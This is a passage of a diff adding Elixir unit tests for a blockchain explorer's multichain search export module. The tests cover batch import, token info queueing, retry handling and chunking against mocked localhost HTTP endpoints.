+ alias Explorer.Chain.{Token, Wei} + alias Explorer.MicroserviceInterfaces.MultichainSearch + alias Explorer.{Repo, TestHelper} + alias Plug.Conn + + setup :verify_on_exit! + + describe "batch_import/1" do + setup do + Supervisor.terminate_child(Explorer.Supervisor, ChainId.child_id()) + Supervisor.restart_child(Explorer.Supervisor, ChainId.child_id()) + + on_exit(fn -> + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + :ok + end + + test "returns {:ok, :service_disabled} when the service is disabled" do + params = %{ + addresses: [], + blocks: [], + transactions: [], + address_current_token_balances: [] + } + + assert MultichainSearch.batch_import(params) == {:ok, :service_disabled} + end + + test "processes chunks and returns {:ok, result} when the service is enabled" do + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + api_key: "12345", + addresses_chunk_size: 7000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, addresses_chunk_size: 7000) + Bypass.down(bypass) + end) + + TestHelper.get_chain_id_mock() + + Bypass.expect_once(bypass, "POST", "/api/v1/import:batch", fn conn -> + Conn.resp( + conn, + 200, + Jason.encode!(%{"status" => "ok"}) + ) + end) + + assert Repo.aggregate(MainExportQueue, :count, :hash) == 0 + + block_1 = insert(:block) + block_2 = insert(:block) + + transaction_1 = insert(:transaction) + transaction_2 = insert(:transaction) + + address_1 = insert(:address) + address_2 = insert(:address) + + params = %{ + addresses: [address_1, address_2], + blocks: [block_1, block_2], + transactions: [transaction_1, transaction_2], + address_current_token_balances: [] + } + + assert {:ok, {:chunks_processed, _}} = MultichainSearch.batch_import(params) + assert Repo.aggregate(MainExportQueue, :count, :hash) == 0 + end + + test "returns {:error, data_to_retry} when an error occurs during processing and 'multichain_search_db_main_export_queue' table is populated" do + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + api_key: "12345", + addresses_chunk_size: 7000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, addresses_chunk_size: 7000) + Bypass.down(bypass) + end) + + TestHelper.get_chain_id_mock() + + Bypass.expect_once(bypass, "POST", "/api/v1/import:batch", fn conn -> + Conn.resp( + conn, + 500, + Jason.encode!(%{"code" => 0, "message" => "Error"}) + ) + end) + + assert Repo.aggregate(MainExportQueue, :count, :hash) == 0 + + address_1 = insert(:address) + address_2 = insert(:address) + block_1 = insert(:block) + block_2 = insert(:block) + transaction_1 = insert(:transaction) |> with_block(block_1) + transaction_2 = insert(:transaction) |> with_block(block_2) + + params = %{ + addresses: [address_1, address_2], + blocks: [block_1, block_2], + transactions: [transaction_1, transaction_2], + address_current_token_balances: [] + } + + assert {:error, + %{ + addresses: [ + address_export_data(address_1), + address_export_data(address_2) + ], + block_ranges: [ + %{max_block_number: to_string(block_2.number), min_block_number: to_string(block_1.number)} + ], + hashes: [ + block_export_data(block_1), + block_export_data(block_2), + transaction_export_data(transaction_1), + transaction_export_data(transaction_2) + ], + address_coin_balances: [], + address_token_balances: [] + }} == MultichainSearch.batch_import(params) + + assert Repo.aggregate(MainExportQueue, :count, :hash) == 6 + records = Repo.all(MainExportQueue) + + assert Enum.all?(records, fn record -> + (record.hash == address_1.hash.bytes && record.hash_type == :address) || + (record.hash == address_2.hash.bytes && record.hash_type == :address) || + (record.hash == block_1.hash.bytes && record.hash_type == :block) || + (record.hash == block_2.hash.bytes && record.hash_type == :block) || + (record.hash == transaction_1.hash.bytes && record.hash_type == :transaction) || + (record.hash == transaction_2.hash.bytes && record.hash_type == :transaction) + end) + end + + test "returns {:error, data_to_retry} when at least one chunk is failed" do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + addresses_chunk_size: 7000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, addresses_chunk_size: 7000) + end) + + TestHelper.get_chain_id_mock() + + assert Repo.aggregate(MainExportQueue, :count, :hash) == 0 + + block_1 = insert(:block) + block_2 = insert(:block) + + transaction_1 = insert(:transaction) + transaction_2 = insert(:transaction) + + # 7002 addresses (7000 in the first chunk and 2 in the second) + addresses = + for _ <- 0..7001 do + insert(:address) + end + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "http://localhost:1234/api/v1/import:batch"}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(%{"status" => "ok"}) + }} + end + ) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "http://localhost:1234/api/v1/import:batch", headers: [{"Content-Type", "application/json"}]}, + _opts -> + {:ok, + %Tesla.Env{ + status: 500, + body: Jason.encode!(%{"code" => 0, "message" => "Error"}) + }} + end + ) + + params = %{ + addresses: addresses, + blocks: [block_1, block_2], + transactions: [transaction_1, transaction_2], + address_current_token_balances: [] + } + + assert {:error, results} = MultichainSearch.batch_import(params) + assert Enum.count(results.addresses) == 7000 + assert Enum.count(results.block_ranges) == 1 + assert Enum.count(results.hashes) == 4 + # 7000 addresses + 2 blocks + 2 transactions + assert Repo.aggregate(MainExportQueue, :count, :hash) == 7004 + end + + test "returns {:error, data_to_retry} when an error occurs in all chunks during processing and 'multichain_search_db_main_export_queue' table is populated with all the input data" do + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + api_key: "12345", + addresses_chunk_size: 2 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, addresses_chunk_size: 7000) + Bypass.down(bypass) + end) + + TestHelper.get_chain_id_mock() + + Bypass.expect(bypass, "POST", "/api/v1/import:batch", fn conn -> + Conn.resp( + conn, + 500, + Jason.encode!(%{"code" => 0, "message" => "Error"}) + ) + end) + + assert Repo.aggregate(MainExportQueue, :count, :hash) == 0 + + addresses = 10 |> insert_list(:address) + + params = %{ + addresses: addresses, + blocks: [], + transactions: [], + address_current_token_balances: [] + } + + assert {:error, results} = MultichainSearch.batch_import(params) + assert Enum.count(results.addresses) == 10 + assert Enum.count(results.block_ranges) == 0 + assert Enum.count(results.hashes) == 0 + + assert Repo.aggregate(MainExportQueue, :count, :hash) == 10 + end + + test "returns {:error, data_to_retry} when an error occurs in all chunks (and number of chunks more than @max_concurrency) during processing and 'multichain_search_db_main_export_queue' table is populated with all the input data" do + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + api_key: "12345", + addresses_chunk_size: 2 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, addresses_chunk_size: 7000) + Bypass.down(bypass) + end) + + TestHelper.get_chain_id_mock() + + Bypass.expect(bypass, "POST", "/api/v1/import:batch", fn conn -> + Conn.resp( + conn, + 500, + Jason.encode!(%{"code" => 0, "message" => "Error"}) + ) + end) + + assert Repo.aggregate(MainExportQueue, :count, :hash) == 0 + + addresses = 15 |> insert_list(:address) + + params = %{ + addresses: addresses, + blocks: [], + transactions: [], + address_current_token_balances: [] + } + + assert {:error, results} = MultichainSearch.batch_import(params) + assert Enum.count(results.addresses) == 15 + assert Enum.count(results.block_ranges) == 0 + assert Enum.count(results.hashes) == 0 + + assert Repo.aggregate(MainExportQueue, :count, :hash) == 15 + end + end + + describe "batch_export_token_info/1" do + setup do + Supervisor.terminate_child(Explorer.Supervisor, ChainId.child_id()) + Supervisor.restart_child(Explorer.Supervisor, ChainId.child_id()) + + on_exit(fn -> + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + :ok + end + + test "returns {:ok, :service_disabled} when the service is disabled" do + items_from_db_queue = [insert(:multichain_search_db_export_token_info_queue)] + assert MultichainSearch.batch_export_token_info(items_from_db_queue) == {:ok, :service_disabled} + end + + test "processes chunks and returns {:ok, {:chunks_processed, _}} when the service is enabled" do + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + api_key: "12345", + token_info_chunk_size: 1000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + Bypass.down(bypass) + end) + + TestHelper.get_chain_id_mock() + + Bypass.expect_once(bypass, "POST", "/api/v1/import:batch", fn conn -> + Conn.resp( + conn, + 200, + Jason.encode!(%{"status" => "ok"}) + ) + end) + + token_info_item_1 = insert(:multichain_search_db_export_token_info_queue) + token_info_item_2 = insert(:multichain_search_db_export_token_info_queue) + items_from_db_queue = [token_info_item_1, token_info_item_2] + + items_from_db_queue + |> Enum.each(fn item -> + item + |> TokenInfoExportQueue.delete_query() + |> Repo.delete_all() + end) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 0 + assert {:ok, {:chunks_processed, _}} = MultichainSearch.batch_export_token_info(items_from_db_queue) + assert Repo.aggregate(TokenInfoExportQueue, :count) == 0 + end + + test "returns {:error, data_to_retry} when an error occurs during processing and 'multichain_search_db_export_token_info_queue' table is populated" do + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + api_key: "12345", + token_info_chunk_size: 1000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + Bypass.down(bypass) + end) + + TestHelper.get_chain_id_mock() + + Bypass.expect_once(bypass, "POST", "/api/v1/import:batch", fn conn -> + Conn.resp( + conn, + 500, + Jason.encode!(%{"code" => 0, "message" => "Error"}) + ) + end) + + token_info_item_1 = insert(:multichain_search_db_export_token_info_queue) + token_info_item_2 = insert(:multichain_search_db_export_token_info_queue) + items_from_db_queue = [token_info_item_1, token_info_item_2] + + items_from_db_queue + |> Enum.each(fn item -> + item + |> TokenInfoExportQueue.delete_query() + |> Repo.delete_all() + end) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 0 + + assert {:error, + %{ + tokens: [ + MultichainSearch.token_info_queue_item_to_http_item(token_info_item_1), + MultichainSearch.token_info_queue_item_to_http_item(token_info_item_2) + ] + }} == MultichainSearch.batch_export_token_info(items_from_db_queue) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 2 + records = Repo.all(TokenInfoExportQueue) + + assert Enum.all?(records, fn record -> + (record.address_hash == token_info_item_1.address_hash && record.data_type == token_info_item_1.data_type) || + (record.address_hash == token_info_item_2.address_hash && + record.data_type == token_info_item_2.data_type) + end) + end + + test "returns {:error, data_to_retry} when an error occurs during processing and retries_number is increased" do + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + api_key: "12345", + token_info_chunk_size: 1000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + Bypass.down(bypass) + end) + + TestHelper.get_chain_id_mock() + + Bypass.expect_once(bypass, "POST", "/api/v1/import:batch", fn conn -> + Conn.resp( + conn, + 500, + Jason.encode!(%{"code" => 0, "message" => "Error"}) + ) + end) + + token_info_item_1 = insert(:multichain_search_db_export_token_info_queue) + token_info_item_2 = insert(:multichain_search_db_export_token_info_queue) + items_from_db_queue = [token_info_item_1, token_info_item_2] + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 2 + assert is_nil(token_info_item_1.retries_number) + assert is_nil(token_info_item_2.retries_number) + + assert {:error, + %{ + tokens: [ + MultichainSearch.token_info_queue_item_to_http_item(token_info_item_1), + MultichainSearch.token_info_queue_item_to_http_item(token_info_item_2) + ] + }} == MultichainSearch.batch_export_token_info(items_from_db_queue) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 2 + records = Repo.all(TokenInfoExportQueue) + + assert Enum.all?(records, fn record -> + (record.address_hash == token_info_item_1.address_hash && record.data_type == token_info_item_1.data_type && + record.retries_number == 1) || + (record.address_hash == token_info_item_2.address_hash && + record.data_type == token_info_item_2.data_type && record.retries_number == 1) + end) + end + + test "returns {:error, data_to_retry} when at least one chunk is failed" do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + token_info_chunk_size: 1000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + end) + + TestHelper.get_chain_id_mock() + + # 1002 addresses (1000 in the first chunk and 2 in the second) + items_from_db_queue = + for _ <- 0..1001 do + insert(:multichain_search_db_export_token_info_queue) + end + + items_from_db_queue + |> Enum.each(fn item -> + item + |> TokenInfoExportQueue.delete_query() + |> Repo.delete_all() + end) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 0 + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "http://localhost:1234/api/v1/import:batch"}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(%{"status" => "ok"}) + }} + end + ) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "http://localhost:1234/api/v1/import:batch", headers: [{"Content-Type", "application/json"}]}, + _opts -> + {:ok, + %Tesla.Env{ + status: 500, + body: Jason.encode!(%{"code" => 0, "message" => "Error"}) + }} + end + ) + + assert {:error, results} = MultichainSearch.batch_export_token_info(items_from_db_queue) + assert Enum.count(results.tokens) == 1000 + assert Repo.aggregate(TokenInfoExportQueue, :count) == 1000 + end + + test "returns {:error, data_to_retry} when an error occurs in all chunks during processing and 'multichain_search_db_export_token_info_queue' table is populated with all the input data" do + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + api_key: "12345", + token_info_chunk_size: 2 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + Bypass.down(bypass) + end) + + TestHelper.get_chain_id_mock() + + Bypass.expect(bypass, "POST", "/api/v1/import:batch", fn conn -> + Conn.resp( + conn, + 500, + Jason.encode!(%{"code" => 0, "message" => "Error"}) + ) + end) + + items_from_db_queue = 10 |> insert_list(:multichain_search_db_export_token_info_queue) + + items_from_db_queue + |> Enum.each(fn item -> + item + |> TokenInfoExportQueue.delete_query() + |> Repo.delete_all() + end) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 0 + assert {:error, results} = MultichainSearch.batch_export_token_info(items_from_db_queue) + assert Enum.count(results.tokens) == 10 + assert Repo.aggregate(TokenInfoExportQueue, :count) == 10 + end + + test "returns {:error, data_to_retry} when an error occurs in all chunks (and number of chunks more than @max_concurrency) during processing and 'multichain_search_db_export_token_info_queue' table is populated" do + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + api_key: "12345", + token_info_chunk_size: 2 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + Bypass.down(bypass) + end) + + TestHelper.get_chain_id_mock() + + Bypass.expect(bypass, "POST", "/api/v1/import:batch", fn conn -> + Conn.resp( + conn, + 500, + Jason.encode!(%{"code" => 0, "message" => "Error"}) + ) + end) + + items_from_db_queue = 15 |> insert_list(:multichain_search_db_export_token_info_queue) + + items_from_db_queue + |> Enum.each(fn item -> + item + |> TokenInfoExportQueue.delete_query() + |> Repo.delete_all() + end) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 0 + assert {:error, results} = MultichainSearch.batch_export_token_info(items_from_db_queue) + assert Enum.count(results.tokens) == 15 + assert Repo.aggregate(TokenInfoExportQueue, :count) == 15 + end + end + + describe "token_info_queue_item_to_http_item/1" do + test "returns correct map to send to multichain service" do + address_hash_string = "0x000102030405060708090a0b0c0d0e0f10111213" + address_hash_binary = Base.decode16!("000102030405060708090a0b0c0d0e0f10111213", case: :mixed) + + assert MultichainSearch.token_info_queue_item_to_http_item(%{ + address_hash: address_hash_binary, + data_type: :metadata, + data: %{token_type: "ERC-20", name: "TestToken", symbol: "TEST", decimals: 18, total_supply: "1000"} + }) == %{ + address_hash: address_hash_string, + metadata: %{token_type: "ERC-20", name: "TestToken", symbol: "TEST", decimals: 18, total_supply: "1000"} + } + + assert MultichainSearch.token_info_queue_item_to_http_item(%{ + address_hash: address_hash_binary, + data_type: :total_supply, + data: %{total_supply: "1000"} + }) == %{ + address_hash: address_hash_string, + metadata: %{total_supply: "1000"} + } + + assert MultichainSearch.token_info_queue_item_to_http_item(%{ + address_hash: address_hash_binary, + data_type: :counters, + data: %{holders_count: "123", transfers_count: "456"} + }) == %{ + address_hash: address_hash_string, + counters: %{holders_count: "123", transfers_count: "456"} + } + + assert MultichainSearch.token_info_queue_item_to_http_item(%{ + address_hash: address_hash_binary, + data_type: :market_data, + data: %{fiat_value: "123.456", circulating_market_cap: "1000.0001"} + }) == %{ + address_hash: address_hash_string, + price_data: %{fiat_value: "123.456", circulating_market_cap: "1000.0001"} + } + end + end + + describe "token_info_http_item_to_queue_item/1" do + test "returns correct map to add to queue" do + address_hash_string = "0x000102030405060708090a0b0c0d0e0f10111213" + address_hash_binary = Base.decode16!("000102030405060708090a0b0c0d0e0f10111213", case: :mixed) + + assert MultichainSearch.token_info_http_item_to_queue_item(%{ + address_hash: address_hash_string, + metadata: %{token_type: "ERC-20", name: "TestToken", symbol: "TEST", decimals: 18, total_supply: "1000"} + }) == %{ + address_hash: address_hash_binary, + data_type: :metadata, + data: %{token_type: "ERC-20", name: "TestToken", symbol: "TEST", decimals: 18, total_supply: "1000"} + } + + assert MultichainSearch.token_info_http_item_to_queue_item(%{ + address_hash: address_hash_string, + metadata: %{token_type: "ERC-20"} + }) == %{ + address_hash: address_hash_binary, + data_type: :metadata, + data: %{token_type: "ERC-20"} + } + + assert MultichainSearch.token_info_http_item_to_queue_item(%{ + address_hash: address_hash_string, + metadata: %{total_supply: "1000"} + }) == %{ + address_hash: address_hash_binary, + data_type: :total_supply, + data: %{total_supply: "1000"} + } + + assert MultichainSearch.token_info_http_item_to_queue_item(%{ + address_hash: address_hash_string, + counters: %{holders_count: "123", transfers_count: "456"} + }) == %{ + address_hash: address_hash_binary, + data_type: :counters, + data: %{holders_count: "123", transfers_count: "456"} + } + + assert MultichainSearch.token_info_http_item_to_queue_item(%{ + address_hash: address_hash_string, + price_data: %{fiat_value: "123.456", circulating_market_cap: "1000.0001"} + }) == %{ + address_hash: address_hash_binary, + data_type: :market_data, + data: %{fiat_value: "123.456", circulating_market_cap: "1000.0001"} + } + end + end + + describe "prepare_token_metadata_for_queue/2" do + test "returns an empty map when the service is disabled" do + assert MultichainSearch.prepare_token_metadata_for_queue(%Token{type: "ERC-20"}, %{name: "TestToken"}) == %{} + end + + test "returns correct map to add to queue" do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + token_info_chunk_size: 1000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + end) + + assert MultichainSearch.prepare_token_metadata_for_queue( + %Token{ + type: "ERC-20", + icon_url: "http://localhost:1235/test.png", + name: "TestToken", + symbol: "TST" + }, + %{ + name: "TestToken2", + symbol: "TST2", + decimals: 18, + total_supply: 123 + } + ) == %{ + token_type: "ERC-20", + icon_url: "http://localhost:1235/test.png", + name: "TestToken2", + symbol: "TST2", + decimals: 18, + total_supply: "123" + } + + assert MultichainSearch.prepare_token_metadata_for_queue( + %Token{ + type: "ERC-20", + name: "TestToken", + symbol: "TST" + }, + %{ + name: "TestToken2", + symbol: "TST2", + decimals: 18 + } + ) == %{ + token_type: "ERC-20", + name: "TestToken2", + symbol: "TST2", + decimals: 18 + } + + assert MultichainSearch.prepare_token_metadata_for_queue( + %Token{ + type: "ERC-1155", + name: "TestToken", + symbol: "TST" + }, + %{ + name: "TestToken2", + symbol: "TST2" + } + ) == %{ + token_type: "ERC-1155", + name: "TestToken2", + symbol: "TST2" + } + + assert MultichainSearch.prepare_token_metadata_for_queue( + %Token{ + type: "ERC-1155", + name: "TestToken", + symbol: "TST" + }, + %{ + name: "TestToken2" + } + ) == %{ + token_type: "ERC-1155", + name: "TestToken2" + } + + assert MultichainSearch.prepare_token_metadata_for_queue( + %Token{ + type: "ERC-1155", + name: "TestToken", + symbol: "TST" + }, + %{} + ) == %{ + token_type: "ERC-1155" + } + + assert MultichainSearch.prepare_token_metadata_for_queue( + %Token{type: "ERC-1155"}, + %{} + ) == %{ + token_type: "ERC-1155" + } + end + end + + describe "prepare_token_total_supply_for_queue/1" do + test "returns nil when the service is disabled" do + assert is_nil(MultichainSearch.prepare_token_total_supply_for_queue(1000)) + end + + test "returns correct map to add to queue" do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + token_info_chunk_size: 1000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + end) + + assert MultichainSearch.prepare_token_total_supply_for_queue(1000) == %{total_supply: "1000"} + end + end + + describe "prepare_token_market_data_for_queue/1" do + test "returns an empty map when the service is disabled" do + assert MultichainSearch.prepare_token_market_data_for_queue(%{ + fiat_value: Decimal.new("100.5"), + circulating_market_cap: Decimal.new("2000.28") + }) == %{} + end + + test "returns correct map to add to queue" do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + token_info_chunk_size: 1000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + end) + + assert MultichainSearch.prepare_token_market_data_for_queue(%{ + fiat_value: Decimal.new("100.5"), + circulating_market_cap: Decimal.new("2000.28") + }) == %{fiat_value: "100.5", circulating_market_cap: "2000.28"} + + assert MultichainSearch.prepare_token_market_data_for_queue(%{ + fiat_value: Decimal.new("100.5"), + circulating_market_cap: Decimal.new("2000.28"), + name: "TestToken" + }) == %{fiat_value: "100.5", circulating_market_cap: "2000.28"} + + assert MultichainSearch.prepare_token_market_data_for_queue(%{fiat_value: Decimal.new("100.5")}) == %{ + fiat_value: "100.5" + } + + assert MultichainSearch.prepare_token_market_data_for_queue(%{circulating_market_cap: Decimal.new("2000.28")}) == + %{circulating_market_cap: "2000.28"} + + assert MultichainSearch.prepare_token_market_data_for_queue(%{name: "TestToken"}) == %{} + assert MultichainSearch.prepare_token_market_data_for_queue(%{}) == %{} + end + end + + describe "prepare_token_counters_for_queue/2" do + test "returns an empty map when the service is disabled" do + assert MultichainSearch.prepare_token_counters_for_queue(456, 123) == %{} + end + + test "returns correct map to add to queue" do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + token_info_chunk_size: 1000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + end) + + assert MultichainSearch.prepare_token_counters_for_queue(456, 123) == %{ + transfers_count: "456", + holders_count: "123" + } + + assert MultichainSearch.prepare_token_counters_for_queue(0, 0) == %{transfers_count: "0", holders_count: "0"} + end + end + + describe "send_token_info_to_queue/2" do + test "does nothing and returns :ignore when the service is disabled" do + address_hash_binary = Base.decode16!("000102030405060708090a0b0c0d0e0f10111213", case: :mixed) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 0 + + assert MultichainSearch.send_token_info_to_queue(%{address_hash_binary => %{total_supply: "123"}}, :total_supply) == + :ignore + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 0 + end + + test "adds an item to db queue and returns :ok" do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + token_info_chunk_size: 1000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + end) + + address_hash_binary = Base.decode16!("000102030405060708090a0b0c0d0e0f10111213", case: :mixed) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 0 + + assert MultichainSearch.send_token_info_to_queue(%{address_hash_binary => %{total_supply: "123"}}, :total_supply) == + :ok + + [record] = Repo.all(TokenInfoExportQueue) + + assert record.address_hash == address_hash_binary && record.data_type == :total_supply && + record.data == %{"total_supply" => "123"} + end + + test "adds all items to db queue" do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + token_info_chunk_size: 2 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + end) + + address1_hash_binary = Base.decode16!("000102030405060708090a0b0c0d0e0f10111213", case: :mixed) + address2_hash_binary = Base.decode16!("000102030405060708090a0b0c0d0e0f10111214", case: :mixed) + address3_hash_binary = Base.decode16!("000102030405060708090a0b0c0d0e0f10111215", case: :mixed) + address4_hash_binary = Base.decode16!("000102030405060708090a0b0c0d0e0f10111216", case: :mixed) + + entries = %{ + address1_hash_binary => %{total_supply: "123"}, + address2_hash_binary => %{total_supply: "124"}, + address3_hash_binary => %{total_supply: "125"}, + address4_hash_binary => %{total_supply: "126"} + } + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 0 + assert MultichainSearch.send_token_info_to_queue(entries, :total_supply) == :ok + + records = Repo.all(TokenInfoExportQueue) + + assert Enum.all?(records, fn record -> + (record.address_hash == address1_hash_binary && record.data_type == :total_supply && + record.data == %{"total_supply" => "123"}) || + (record.address_hash == address2_hash_binary && record.data_type == :total_supply && + record.data == %{"total_supply" => "124"}) || + (record.address_hash == address3_hash_binary && record.data_type == :total_supply && + record.data == %{"total_supply" => "125"}) || + (record.address_hash == address4_hash_binary && record.data_type == :total_supply && + record.data == %{"total_supply" => "126"}) + end) + end + + test "replaces an existing item in the db queue and updates `updated_at` field" do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + token_info_chunk_size: 1000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + end) + + address_hash_binary = Base.decode16!("000102030405060708090a0b0c0d0e0f10111213", case: :mixed) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 0 + + assert MultichainSearch.send_token_info_to_queue(%{address_hash_binary => %{total_supply: "123"}}, :total_supply) == + :ok + + [record] = Repo.all(TokenInfoExportQueue) + + assert record.address_hash == address_hash_binary && record.data_type == :total_supply && + record.data == %{"total_supply" => "123"} + + assert MultichainSearch.send_token_info_to_queue(%{address_hash_binary => %{total_supply: "124"}}, :total_supply) == + :ok + + [record_new] = Repo.all(TokenInfoExportQueue) + + assert record_new.address_hash == address_hash_binary && record_new.data_type == :total_supply && + record_new.data == %{"total_supply" => "124"} && + DateTime.compare(record_new.updated_at, record.updated_at) == :gt + end + end + + describe "extract_batch_import_params_into_chunks/1" do + setup do + TestHelper.get_chain_id_mock() + Application.put_env(:explorer, MultichainSearch, api_key: "12345", addresses_chunk_size: 7000) + Supervisor.terminate_child(Explorer.Supervisor, ChainId.child_id()) + Supervisor.restart_child(Explorer.Supervisor, ChainId.child_id()) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, api_key: nil, addresses_chunk_size: 7000) + end) + + :ok + end + + test "returns empty chunks when no data is provided" do + # filling chain_id cache + ChainId.get_id() + + assert MultichainSearch.extract_batch_import_params_into_chunks(%{ + addresses: [], + blocks: [], + transactions: [], + address_current_token_balances: [] + }) == [ + %{ + api_key: "12345", + addresses: [], + block_ranges: [], + chain_id: "1", + hashes: [], + address_coin_balances: [], + address_token_balances: [] + } + ] + end + + test "returns chunks with transactions and blocks when no addresses provided" do + block_1 = insert(:block) + block_2 = insert(:block) + transaction_1 = insert(:transaction) + transaction_2 = insert(:transaction) + + params = %{ + addresses: [], + blocks: [block_1, block_2], + transactions: [transaction_1, transaction_2], + address_current_token_balances: [] + } + + chunks = MultichainSearch.extract_batch_import_params_into_chunks(params) + + assert Enum.count(chunks) == 1 + + chunk = List.first(chunks) + + assert chunk[:api_key] == "12345" + assert chunk[:chain_id] == "1" + assert length(chunk[:addresses]) == 0 + + assert chunk[:block_ranges] == [ + %{ + max_block_number: to_string(max(block_1.number, block_2.number)), + min_block_number: to_string(min(block_1.number, block_2.number)) + } + ] + + assert chunk[:hashes] == [ + %{ + hash: "0x" <> Base.encode16(block_1.hash.bytes, case: :lower), + hash_type: "BLOCK" + }, + %{ + hash: "0x" <> Base.encode16(block_2.hash.bytes, case: :lower), + hash_type: "BLOCK" + }, + %{ + hash: "0x" <> Base.encode16(transaction_1.hash.bytes, case: :lower), + hash_type: "TRANSACTION" + }, + %{ + hash: "0x" <> Base.encode16(transaction_2.hash.bytes, case: :lower), + hash_type: "TRANSACTION" + } + ] + end + + test "returns chunks with the correct structure when all types of data is provided" do + address_1 = insert(:address, fetched_coin_balance: Decimal.new(100)) + address_2 = insert(:address, fetched_coin_balance: Decimal.new(200)) + block_1 = insert(:block) + block_2 = insert(:block) + transaction_1 = insert(:transaction) + transaction_2 = insert(:transaction) + + token = insert(:token, contract_address: address_1, type: "ERC-20", name: "Test Token") + + current_token_balance = + insert(:address_current_token_balance, + address: address_1, + token_type: "ERC-20", + token_id: nil, + token_contract_address_hash: token.contract_address_hash, + value: 30_000 + ) + + params = %{ + addresses: [address_1, address_2], + blocks: 